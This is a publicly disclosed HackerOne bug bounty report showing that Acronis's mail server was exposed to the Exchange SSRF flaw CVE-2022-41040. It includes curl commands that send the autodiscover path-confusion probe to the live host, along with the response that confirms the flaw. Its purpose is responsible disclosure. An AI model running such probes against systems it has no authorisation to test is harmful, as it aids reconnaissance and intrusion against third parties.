Acronis · Report #1719719

mail.acronis.com is vulnerable to zero day vulnerability CVE-2022-41040

Validstatus

criticalseverity

$1,000bounty

71upvotes

13 Oct 2022disclosed

Summary

mail.acronis.com was vulnerable to CVE-2022-41040. After internal investigation, Acronis security team concluded that there are no signs of exploitation of this issue.

How it was found

Hello Acronis team,

Please run

curl -ksL -m5 -o /dev/null -I -w "%{http_code}" "https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/[email protected]&Protocol=ActiveSync" curl -ksL -m5 "https://mail.acronis.com/autodiscover/autodiscover.json?Email=autodiscover/[email protected]&Protocol=ActiveSync" | grep Protocol

and get following output

404 and {"Protocol":"ActiveSync","Url":"https://eas.outlook.com/Microsoft-Server-ActiveSync"}

Proving that mail.acronis.com is vulnerable to CVE-2022-41040

Poc video attached

Impact

SSRF can be used to for unauthorized actions or access to confidential data.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original